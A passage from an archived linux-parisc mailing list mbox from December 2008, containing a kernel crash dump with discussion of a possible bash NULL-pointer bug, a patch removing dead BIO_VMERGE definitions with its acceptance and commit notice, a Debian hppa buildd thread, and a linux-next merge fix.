Dec 13 01:32:21 mx3210 kernel: sr04-07  0000000001b4e800 0000000001b4e800 0000000001b4e800 0000000001b4e800
Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel:       VZOUICununcqcqcqcqcqcrmunTDVZOUI
Dec 13 01:32:21 mx3210 kernel: FPSR: 00000000000000000000000000000000
Dec 13 01:32:21 mx3210 kernel: FPER1: 00000000
Dec 13 01:32:21 mx3210 kernel: fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
Dec 13 01:32:21 mx3210 kernel: fr04-07  fffffffffffff000 0000000000000000 ffffffffffffff9c bff0000000000000
Dec 13 01:32:21 mx3210 kernel: fr08-11  0000000000000000 00000000405b4760 0000000000000802 00000000405f2000
Dec 13 01:32:21 mx3210 kernel: fr12-15  00000000401c61b8 00000000405b4760 00000000401c4114 000000007f410d00
Dec 13 01:32:21 mx3210 kernel: fr16-19  000000007f4acb90 000000007f410d00 000000007f54c000 000000007f54c000
Dec 13 01:32:21 mx3210 kernel: fr20-23  00000000405b4760 00000000404a91d8 0000000000000040 0000000000000000
Dec 13 01:32:21 mx3210 kernel: fr24-27  0000000000000000 00000000405b4760 00000000405b4760 0000000000000000
Dec 13 01:32:21 mx3210 kernel: fr28-31  0000000000000803 0000000000000000 00000000405b4760 0000000000000803
Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel: IASQ: 0000000001b4e800 0000000001b4e800 IAOQ: 000000000004110f 0000000000032be7
Dec 13 01:32:21 mx3210 kernel:  IIR: 0c80109a    ISR: 0000000001b4e800  IOR: 0000000000000000
Dec 13 01:32:21 mx3210 kernel:  CPU:        1   CR30: 0000000044494000 CR31: ffffffffffffffff
Dec 13 01:32:21 mx3210 kernel:  ORIG_R28: 0000000000000000
Dec 13 01:32:21 mx3210 kernel:  IAOQ[0]: 000000000004110f
Dec 13 01:32:21 mx3210 kernel:  IAOQ[1]: 0000000000032be7
Dec 13 01:32:21 mx3210 kernel:  RP(r2): 0000000000041113
Dec 13 01:32:21 mx3210 kernel: 
Dec 13 01:32:21 mx3210 kernel: do_page_fault() pid=27608 command='sh' type=15 address=0x00000000
...

This might be a bash bug.

WORD_DESC *
copy_word (w)
     WORD_DESC *w;
{
  WORD_DESC *new_word;

  new_word = make_bare_word (w->word);
  new_word->flags = w->flags;
  return (new_word);
}

/* Copy the chain of words in LIST.  Return a pointer to
   the new chain. */
WORD_LIST *
copy_word_list (list)
     WORD_LIST *list;
{
  WORD_LIST *new_list;

  for (new_list = (WORD_LIST *)NULL; list; list = list->next)
    new_list = make_word_list (copy_word (list->word), new_list);

  return (REVERSE_LIST (new_list, WORD_LIST *));
}

There's no check that list->word isn't NULL.  However, allocation failures
are supposed to be caught by xmalloc.  So, it's not obvious how a NULL
pointer actually arises.

There's also a puzzle as to why bash tries to continue after the segv,
possibly at the faulting insn.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [RESEND] [PATCH] parisc: remove dead BIO_VMERGE_BOUNDARY and
 BIO_VMERGE_MAX_SIZE definitions
Date: Sun, 14 Dec 2008 11:44:37 +0900
Lines: 92
Approved: news@gmane.org
Message-ID: <20081214114450M.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229222796 5491 80.91.229.12 (14 Dec 2008 02:46:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Dec 2008 02:46:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, matthew@wil.cx,
	grundler@parisc-linux.org, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 14 03:47:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LBh17-0001ap-Fa
	for glpp-linux-parisc@gmane.org; Sun, 14 Dec 2008 03:47:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751695AbYLNCqF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Dec 2008 21:46:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751405AbYLNCqF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 13 Dec 2008 21:46:05 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:57746 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751087AbYLNCqD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Dec 2008 21:46:03 -0500
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id mBE2ib3j009633;
	Sun, 14 Dec 2008 11:44:37 +0900
Original-Lines: 87
X-Virus-Scanned: ClamAV 0.94.2/8753/Sun Dec 14 09:26:44 2008 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:952 gmane.linux.kernel:768764
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/952>

This is a resend of:

http://marc.info/?l=linux-parisc&m=122482703716617&w=2

I added Grant's ACK:

http://marc.info/?l=linux-parisc&m=122555878602851&w=2

=
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Subject: [PATCH] parisc: remove dead BIO_VMERGE_BOUNDARY and BIO_VMERGE_MAX_SIZE definitions

The block layer dropped the virtual merge feature
(b8b3e16cfe6435d961f6aaebcfd52a1ff2a988c5). BIO_VMERGE_BOUNDARY and
BIO_VMERGE_MAX_SIZE definitions are meaningless now.

Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Acked-by: Grant Grundler <grundler@parisc-linux.org>
---
 arch/parisc/include/asm/io.h |    6 ------
 arch/parisc/kernel/setup.c   |    5 -----
 drivers/parisc/ccio-dma.c    |    2 --
 drivers/parisc/sba_iommu.c   |    2 --
 4 files changed, 0 insertions(+), 15 deletions(-)

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 55ddb18..b92efb3 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -4,12 +4,6 @@
 #include <linux/types.h>
 #include <asm/pgtable.h>
 
-extern unsigned long parisc_vmerge_boundary;
-extern unsigned long parisc_vmerge_max_size;
-
-#define BIO_VMERGE_BOUNDARY	parisc_vmerge_boundary
-#define BIO_VMERGE_MAX_SIZE	parisc_vmerge_max_size
-
 #define virt_to_phys(a) ((unsigned long)__pa(a))
 #define phys_to_virt(a) __va(a)
 #define virt_to_bus virt_to_phys
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 7d27853..8d8b024 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -58,11 +58,6 @@ int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
 EXPORT_SYMBOL(parisc_bus_is_phys);
 #endif
 
-/* This sets the vmerge boundary and size, it's here because it has to
- * be available on all platforms (zero means no-virtual merging) */
-unsigned long parisc_vmerge_boundary = 0;
-unsigned long parisc_vmerge_max_size = 0;
-
 void __init setup_cmdline(char **cmdline_p)
 {
 	extern unsigned int boot_args[];
diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index dcc1e99..62cc21d 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1578,8 +1578,6 @@ static int __init ccio_probe(struct parisc_device *dev)
 
 	ioc_count++;
 
-	parisc_vmerge_boundary = IOVP_SIZE;
-	parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
 	parisc_has_iommu();
 	return 0;
 }
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index bc73b96..bdc9a0a 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1979,8 +1979,6 @@ sba_driver_callback(struct parisc_device *dev)
 	proc_create("sba_iommu-bitmap", 0, root, &sba_proc_bitmap_fops);
 #endif
 
-	parisc_vmerge_boundary = IOVP_SIZE;
-	parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG;
 	parisc_has_iommu();
 	return 0;
 }
-- 
1.5.5.GIT

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [RESEND] [PATCH] parisc: remove dead BIO_VMERGE_BOUNDARY and
	BIO_VMERGE_MAX_SIZE definitions
Date: Sat, 13 Dec 2008 21:49:00 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20081214024900.GA8026@bombadil.infradead.org>
References: <20081214114450M.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229222965 5733 80.91.229.12 (14 Dec 2008 02:49:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Dec 2008 02:49:25 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org, matthew@wil.cx,
	grundler@parisc-linux.org, jens.axboe@oracle.com,
	linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 14 03:50:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LBh3q-0002Dw-Nb
	for glpp-linux-parisc@gmane.org; Sun, 14 Dec 2008 03:50:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751087AbYLNCtM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Dec 2008 21:49:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751660AbYLNCtM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 13 Dec 2008 21:49:12 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:43381 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751087AbYLNCtL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Dec 2008 21:49:11 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LBh2S-0006pn-LP; Sun, 14 Dec 2008 02:49:00 +0000
Content-Disposition: inline
In-Reply-To: <20081214114450M.fujita.tomonori@lab.ntt.co.jp>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:953 gmane.linux.kernel:768765
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/953>

On Sun, Dec 14, 2008 at 11:44:37AM +0900, FUJITA Tomonori wrote:
> This is a resend of:
> 
> http://marc.info/?l=linux-parisc&m=122482703716617&w=2
> 

Sorry, somehow I missed applying this... though it's still in my ~ on
hera. weird!

Applied, cheers,
	Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/master
Date: Sun, 14 Dec 2008 02:57:39 GMT
Lines: 20
Approved: news@gmane.org
Message-ID: <200812140257.mBE2vds9017600@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1229223474 6643 80.91.229.12 (14 Dec 2008 02:57:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Dec 2008 02:57:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 14 03:58:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LBhC4-0003aw-Op
	for glpp-linux-parisc@gmane.org; Sun, 14 Dec 2008 03:58:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751087AbYLNC5m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Dec 2008 21:57:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752139AbYLNC5m
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 13 Dec 2008 21:57:42 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:33071 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751087AbYLNC5m (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Dec 2008 21:57:42 -0500
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX1/uWTGhRNFNPoBF2TDez6MSmaZhdcIiUbE@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id mBE2vdmF017601
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sun, 14 Dec 2008 02:57:39 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id mBE2vds9017600
	for linux-parisc@vger.kernel.org; Sun, 14 Dec 2008 02:57:39 GMT
X-Virus-Scanned: ClamAV 0.93.3/8753/Sun Dec 14 00:26:44 2008 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Sun, 14 Dec 2008 02:57:41 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:954
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/954>

New commits:
commit 14e01f8241387e4c236148bfaca77e3e546ad94d
Author: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Date:   Sun Dec 14 11:44:37 2008 +0900

    parisc: remove dead BIO_VMERGE_BOUNDARY and BIO_VMERGE_MAX_SIZE definitions
    
    The block layer dropped the virtual merge feature
    (b8b3e16cfe6435d961f6aaebcfd52a1ff2a988c5). BIO_VMERGE_BOUNDARY and
    BIO_VMERGE_MAX_SIZE definitions are meaningless now.
    
    Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
    Acked-by: Grant Grundler <grundler@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <varenet@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and lenny
Date: Mon, 15 Dec 2008 12:27:55 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <7d01f9f00812150327s546f5f0dh45c4a7244e9ddf67@mail.gmail.com>
References: <20081213230739.GI20002@anguilla.noreply.org>
	 <4944C414.5090709@uni-mainz.de>
	 <20081215084913.766FCD75DF@taggart.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229340502 3451 80.91.229.12 (15 Dec 2008 11:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Dec 2008 11:28:22 +0000 (UTC)
Cc: "Christoph Martin" <martin@uni-mainz.de>,
	debian-hppa@lists.debian.org, debian-release@lists.debian.org,
	team@security.debian.org, debian-admin@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Matt Taggart" <taggart@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 15 12:29:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LCBdY-0005nX-JN
	for glpp-linux-parisc@gmane.org; Mon, 15 Dec 2008 12:29:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753694AbYLOL17 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Dec 2008 06:27:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753673AbYLOL17
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Dec 2008 06:27:59 -0500
Original-Received: from yx-out-2324.google.com ([74.125.44.30]:64351 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753210AbYLOL16 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Dec 2008 06:27:58 -0500
Original-Received: by yx-out-2324.google.com with SMTP id 8so1045255yxg.49
        for <linux-parisc@vger.kernel.org>; Mon, 15 Dec 2008 03:27:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=DFS+S71mQwvMKTxYBhRSv6XfdDtfcdsnJ/XsmLBGpjI=;
        b=BwglwGlpjcukhZFhiSKl6X5EuWPuWTWg3K2YSvuJ23LGll5eHSCwSeHF90R3VNc0P/
         herPjhZfy6rBrK19zBkkC5kgqh6HyJ+b71vsNC7ayh0f1pXiBbrox0PGtRwBVW+6jV/P
         /hyIJfcrtEll4MP25EbW+EZZzh3qhrWpn5mZ4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=dL6Kc3t+kzLJqSaVv9d3mJn6U7p3JYACfw5tYDcKQsOKllsSX3ktSqHbNYi+VS/wW9
         7R7ZDg4O2Fu4Jj6GjuZwsyqHL+iWdXEi8bs3ZzKzf46VlMQriBfG6E/2Iebx7zITtAUH
         UhGoYDxQW7dfgtWeTOsyOduZjc0gXvmGwDSAk=
Original-Received: by 10.90.103.13 with SMTP id a13mr2402842agc.68.1229340476066;
        Mon, 15 Dec 2008 03:27:56 -0800 (PST)
Original-Received: by 10.90.54.17 with HTTP; Mon, 15 Dec 2008 03:27:55 -0800 (PST)
In-Reply-To: <20081215084913.766FCD75DF@taggart.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 989de08eed9494e7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:955 gmane.linux.debian.ports.hppa:5554 gmane.linux.debian.devel.release:27805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/955>

On Mon, Dec 15, 2008 at 9:49 AM, Matt Taggart <taggart@debian.org> wrote:

> A c100 is _really_ slow and probably wouldn't be able to keep up as a
> buildd.

I've already offered countless times (it's in the m-l archive) to
provide buildd power from the ESIEE cluster (see
http://www.fr.parisc-linux.org/cluster.html), which is also used by a
bunch of DD to fix hppa problems. Granted, this cluster currently has
some hw issues which I'm trying to fix (hopefully with the help of
some folks in the US ;-)

> The real problem is that no one is fixing hppa kernel problems. I don't see
> much point in keeping the archive up to date if nobody is working on fixing
> the kernel (not currently and I suspect not in the future either). This has
> been stated on the debian-hppa list several times over a long period and in
> that time no one (AFAIK) has stepped up to work on it.

Sad but true, though I wouldn't say that "no one" is working; the
linux-parisc m-l shows "some" activity from a couple of developers
(Kyle McMartin, Helge Deller, to name a few)

Cheers,
T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: linux-next: manual merge of the boot-params tree
Date: Tue, 16 Dec 2008 00:20:58 +1100
Lines: 38
Approved: news@gmane.org
Message-ID: <20081216002058.76891c3e.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229347271 25958 80.91.229.12 (15 Dec 2008 13:21:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 15 Dec 2008 13:21:11 +0000 (UTC)
Cc: linux-next@vger.kernel.org,
	FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	Kyle McMartin <kyle@mcmartin.ca>,
	<linux-parisc@vger.kernel.org>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 15 14:22:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LCDOq-0006Ro-8u
	for glpp-linux-parisc@gmane.org; Mon, 15 Dec 2008 14:22:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751371AbYLONVB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 15 Dec 2008 08:21:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751392AbYLONVB
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 15 Dec 2008 08:21:01 -0500
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:45736 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751371AbYLONVA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 15 Dec 2008 08:21:00 -0500
Original-Received: from ash.ozlabs.ibm.com (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id 0D20A368012;
	Tue, 16 Dec 2008 00:20:59 +1100 (EST)
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:956 gmane.linux.kernel.next:4701
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/956>

Hi Rusty,

Today's linux-next merge of the boot-params tree got a conflict in
arch/parisc/kernel/setup.c between commit
14e01f8241387e4c236148bfaca77e3e546ad94d ("parisc: remove dead
BIO_VMERGE_BOUNDARY and BIO_VMERGE_MAX_SIZE definitions") from the parisc
tree and commit 0de5c2d9f02d2018fd671ca1015432dffa5eb338 ("param:
arch_get_boot_command_line()") from the boot-params tree.

I fixed it up (see below) and can carry the fix as necessary.
-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

diff --cc arch/parisc/kernel/setup.c
index 8d8b024,3bdf1e2..0000000
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@@ -58,7 -58,12 +58,7 @@@ int parisc_bus_is_phys __read_mostly = 
  EXPORT_SYMBOL(parisc_bus_is_phys);
  #endif
  
- void __init setup_cmdline(char **cmdline_p)
 -/* This sets the vmerge boundary and size, it's here because it has to
 - * be available on all platforms (zero means no-virtual merging) */
 -unsigned long parisc_vmerge_boundary = 0;
 -unsigned long parisc_vmerge_max_size = 0;
 -
+ void __init arch_get_boot_command_line(void)
  {
  	extern unsigned int boot_args[];
  
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] [RFC] fix kernel crash (protection id trap) when compiling
 ruby1.9
Date: Wed, 17 Dec 2008 23:46:05 +0100
Lines: 142
Approved: news@gmane.org
Message-ID: <4949812D.7080608@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------080903030906080404000306"
X-Trace: ger.gmane.org 1229553986 1347 80.91.229.12 (17 Dec 2008 22:46:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Dec 2008 22:46:26 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 17 23:47:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LD5As-0001U8-Jm
	for glpp-linux-parisc@gmane.org; Wed, 17 Dec 2008 23:47:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750961AbYLQWqL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Dec 2008 17:46:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752110AbYLQWqL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 17 Dec 2008 17:46:11 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:49813 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750961AbYLQWqJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Dec 2008 17:46:09 -0500
Original-Received: (qmail invoked by alias); 17 Dec 2008 22:46:06 -0000
Original-Received: from mnhm-590e01af.pool.einsundeins.de (EHLO halden.box) [89.14.1.175]
  by mail.gmx.net (mp013) with SMTP; 17 Dec 2008 23:46:06 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19QTscTZUVQhgdQ9aLYdfEr76kmBu6cLH1EnJsFyR
	zihyZw5Ls6WKAV
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
